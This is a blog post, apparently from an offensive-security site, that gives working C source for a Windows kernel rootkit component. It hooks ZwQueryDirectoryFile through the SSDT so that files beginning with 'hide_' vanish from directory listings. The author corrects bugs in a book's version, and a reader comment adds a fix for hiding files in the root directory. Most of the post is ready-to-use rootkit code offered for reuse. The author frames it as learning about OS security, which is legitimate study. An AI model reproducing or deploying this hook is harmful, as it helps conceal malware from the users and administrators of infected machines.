Hide files using SSDT hooking
ZwQueryDirectoryFile replacement
3 August 2011 18:30 2 messages
License : Copyright Emeric Nasi, some rights reserved
This work is licensed under a Creative Commons Attribution 4.0 International License.
I. Introduction.
I was reading Bill Blunden’s book “The Rootkit ARSENAL”. This book is great to learn the basics of Windows rootkits (more information here). I am not specialist in Windows O.S and using the book, I tried to learn more about this OS security by building my own rootkits.
In chapter 5 Blunden explains how to hide directories by using SSDT hooking and replacing the ZwQueryDirectoryFile kernel function. In fact this code can be used to hide any file. I tried his code and I found a few problems in it (it works only on Windows XP, it does not work when there is only one file in directory, etc).
So I modified the code to correct these problems and I decided to share it here.
II. Headers information.
In this section I am going to describe all the information wee need to write and use the replacement function. The code in this section should be written in a file accessible by the rootkit core and the replacement function. It can be inside the replacement function file like in the book, or in a dedicated header file.
II.1 The needed includes
The replacement function only needs one included file (and it is a big one), the windows driver kit main file.
#include <ntddk.h>
II.2 The original function signature
In order to hook this SSDT entry we need to define the original function in our code so our rootkit can switch safely between the original routine and the replacement one.
/* The ZwQueryDirectoryFile routine returns various kinds of information about files in the directory specified by a given file handle. NTSTATUS ZwQueryDirectoryFile( __in HANDLE FileHandle, __in_opt HANDLE Event, __in_opt PIO_APC_ROUTINE ApcRoutine, __in_opt PVOID ApcContext, __out PIO_STATUS_BLOCK IoStatusBlock, __out PVOID FileInformation, __in ULONG Length, __in FILE_INFORMATION_CLASS FileInformationClass, __in BOOLEAN ReturnSingleEntry, __in_opt PUNICODE_STRING FileName, __in BOOLEAN RestartScan ); http://msdn.microsoft.com/en-us/library/ff567047%28v=VS.85%29.aspx */ /* Prototype to original routine */ NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile ( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); /* Function pointer declaration and definition */ typedef NTSTATUS (*ZwQueryDirectoryFilePtr) ( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); ZwQueryDirectoryFilePtr oldZwQueryDirectoryFile;
II.3 Various FILE_INFORMATION_CLASS structures
When the ZwQueryDirectoryFile routine is called, the returned results are stored in an array of structures representing a file. The first one is accessible using FileInformation OUT parameter. There are several types of structures to describe files, (they can vary depending on the OS version for example).
The FileInformationClass parameter is used to know the type of the FileInformation parameter.
There is a list of structures that can correspond to a file object on the msdn (
http://msdn.microsoft.com/en-us/library/ff728840%28v=vs.85%29.aspx). Here we will concentrate on structures that can be used by the ZwQueryDirectoryFile routine (see http://msdn.microsoft.com/en-us/library/ff567047%28v=vs.85%29.aspx).
We need to redefine these structures in our header’s code :
typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef struct _FILE_ID_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; typedef struct _FILE_ID_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; WCHAR FileName[1]; } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
The interesting thing here is that all the structures have attributes in common, and more precisely the FileName and the NextEntryOffset.
The FileName use is trivial (just return the name of the file...).
The NextEntryOffset is the offset of the next FileInformation structure in the array.
For example, take a directory called foo, containing 2 files, bar1 and bar2.
If you query the next cmd code :
dir ./foo
The ZwQueryDirectoryFile kernel routine will be called and will write into the FileInformation a pointer to an array of two structures, one for bar1 and one for bar2 (in reality it is more complicated than that because . and .. are also in the array...).
We may not be sure about the FILE_INFORMATION_CLASS type but we know that :
The first structure FileName is "bar1" and its NextEntryOffset, when added to FileInformation is the memory address of the next structure.
The second structure FileName is "bar2" and its NextEntryOffset field is set to zero because it is the last structure in the array.>
II.4 Get and set common fields from any structure type
We do not want to write a replacement function for each different structure. So we are going to write functions to get the two common fields we need in any of them.
/* ---------------- Functions ----------------------------------------*/ /* Return the filename of the specified file entry. */ PVOID getDirEntryFileName ( IN PVOID FileInformation, IN FILE_INFORMATION_CLASS FileInfoClass ) { PVOID result = 0; switch(FileInfoClass){ case FileDirectoryInformation: result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformation)->FileName; break; case FileFullDirectoryInformation: result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformation)->FileName; break; case FileIdFullDirectoryInformation: result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->FileName; break; case FileBothDirectoryInformation: result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformation)->FileName; break; case FileIdBothDirectoryInformation: result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->FileName; break; case FileNamesInformation: result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformation)->FileName; break; } return result; } /* Return the NextEntryOffset of the specified file entry. */ ULONG getNextEntryOffset ( IN PVOID FileInformation, IN FILE_INFORMATION_CLASS FileInfoClass ) { ULONG result = 0; switch(FileInfoClass){ case FileDirectoryInformation: result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset; break; case FileFullDirectoryInformation: result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset; break; case FileIdFullDirectoryInformation: result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset; break; case FileBothDirectoryInformation: result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset; break; case FileIdBothDirectoryInformation: result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset; break; case FileNamesInformation: result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset; break; } return result; } /* Set the value of the fileInformation's NextEntryOffset */ void setNextEntryOffset ( IN PVOID FileInformation, IN FILE_INFORMATION_CLASS FileInfoClass, IN ULONG newValue ) { switch(FileInfoClass){ case FileDirectoryInformation: ((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset = newValue; break; case FileFullDirectoryInformation: ((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue; break; case FileIdFullDirectoryInformation: ((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue; break; case FileBothDirectoryInformation: ((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue; break; case FileIdBothDirectoryInformation: ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue; break; case FileNamesInformation: ((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset = newValue; break; } }
III. Main code.
III.1 ZwQueryDirectory Replacement routine
Now that we have enough information, we are ready to write a ZwQueryDirectoryFile replacement function that can hide any file we want.
#define NO_MORE_ENTRIES 0 /* Replacement function, Entry point */ NTSTATUS newZwQueryDirectoryFile ( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName, IN BOOLEAN RestartScan ) { NTSTATUS ntStatus; PVOID currFile; PVOID prevFile; //DBG_TRACE("newZwQueryDirectoryFile","Call intercepted!"); // Call normal function ntStatus = oldZwQueryDirectoryFile ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan ); if(!NT_SUCCESS(ntStatus)) { //DBG_TRACE("newZwQueryDirectoryFile","Call failed."); return ntStatus; } // Call hide function depending on FileInformationClass if ( FileInformationClass == FileDirectoryInformation || FileInformationClass == FileFullDirectoryInformation || FileInformationClass == FileIdFullDirectoryInformation || FileInformationClass == FileBothDirectoryInformation || FileInformationClass == FileIdBothDirectoryInformation || FileInformationClass == FileNamesInformation ) { currFile = FileInformation; prevFile = NULL; //Sweep trought the array of PFILE_BOTH_DIR_INFORMATION structures do { // Check if file is one of rootkit files if(checkIfHiddenFile(getDirEntryFileName(currFile,FileInformationClass))==TRUE) { // If it is not the last file if(getNextEntryOffset(currFile,FileInformationClass)!=NO_MORE_ENTRIES) { int delta; int nBytes; // We get number of bytes between the 2 addresses (that we already processed) delta = ((ULONG)currFile) - (ULONG)FileInformation; // Lenght is size of FileInformation buffer // We get the number of bytes still to be sweeped trought nBytes = (DWORD)Length - delta; // We get the size of bytes to be processed if we remove the current entry. nBytes = nBytes - getNextEntryOffset(currFile,FileInformationClass); // The next operation replaces the rest of the array by the same array without the current structure. RtlCopyMemory ( (PVOID)currFile, (PVOID)((char*)currFile + getNextEntryOffset(currFile,FileInformationClass)), (DWORD)nBytes ); continue; } else { // Only one file if(currFile==FileInformation) { ntStatus = STATUS_NO_MORE_FILES; } else { // Several file and ours is the last one // We set previous to end of file setNextEntryOffset(prevFile,FileInformationClass,NO_MORE_ENTRIES); } // Exit while loop break; } } prevFile = currFile; // Set current file to next file in array currFile = ((BYTE*)currFile + getNextEntryOffset(currFile,FileInformationClass)); } while(getNextEntryOffset(prevFile,FileInformationClass) != NO_MORE_ENTRIES); } return ntStatus; }
III.2 Check if file should be hide
You should have noticed that hiding functionalities are used only if checkIfHiddenFile(WCHAR fileName) function returns TRUE. You can choose to write whatever you want in that function, if you want to hide several files, depending on what part of their names, etc.
In this code, I choose to stay simple, and just hide any file that starts with a given prefix ("hide_").
const WCHAR prefix[] = L"hide_"; #define PREFIX_SIZE 10 /* Check if the file is one of those that need to be hidden */ BOOLEAN checkIfHiddenFile(WCHAR fileName[]) { SIZE_T nBytesEqual; //DBG_PRINT2("[checkIfHiddenFile]: we are checking %S\n",fileName); // Check if known file nBytesEqual = 0; nBytesEqual = RtlCompareMemory ( (PVOID)&(fileName[0]), (PVOID)&(prefix[0]), PREFIX_SIZE ); //DBG_PRINT2("[checkIfHiddenFile]: nBytesEqual: %d\n",nBytesEqual); if(nBytesEqual==PREFIX_SIZE) { DBG_PRINT2("[checkIfHiddenFile]: known file detected : %S\n",fileName); return(TRUE); } return FALSE; }
IV Conclusion
I am not a WDK specialist and any critics are welcomed. This hook should work nice on Windows XP and Vista 32 bit version. I didn’t test it on other versions. If you do, please give me a feedback.
Also in this section
2 February 2022 – MSDT DLL Hijack UAC bypass
15 July 2021 – Hide HTA window for RedTeam
24 February 2019 – Bypass Windows Defender Attack Surface Reduction
23 January 2019 – Yet another sdclt UAC bypass
23 June 2018 – Advanced USB key phishing
1 Forum posts
I was playing with writing a rootkit to learn a bit about what’s going on behind the scenes and found this article quite helpful, thank you! I wanted to note that I ran into an issue when trying to hide a file in the root directory (c:\). Because Windows XP will query for a single file first before querying for the rest, and because there is no ".." directory to return initially, my rootkit file would end up being returned in the FileInformation buffer all alone. Your code would return "NO MORE FILES" in this case which ends up showing an empty root directory. My approach to fix this problem was to create a new case "if(ReturnSingleEntry == TRUE)" above your case "if(currFile==FileInformation)" and simply call the hooked function again with the ReturnSingleEntry argument set to FALSE. This seems to work fine for me and I just wanted to share it for anyone interested.
1. Hide files using SSDT hooking, 18 April 2014, 08:22, by Ta!0n
Not to mention that in Windows 7 64bit it is not possible.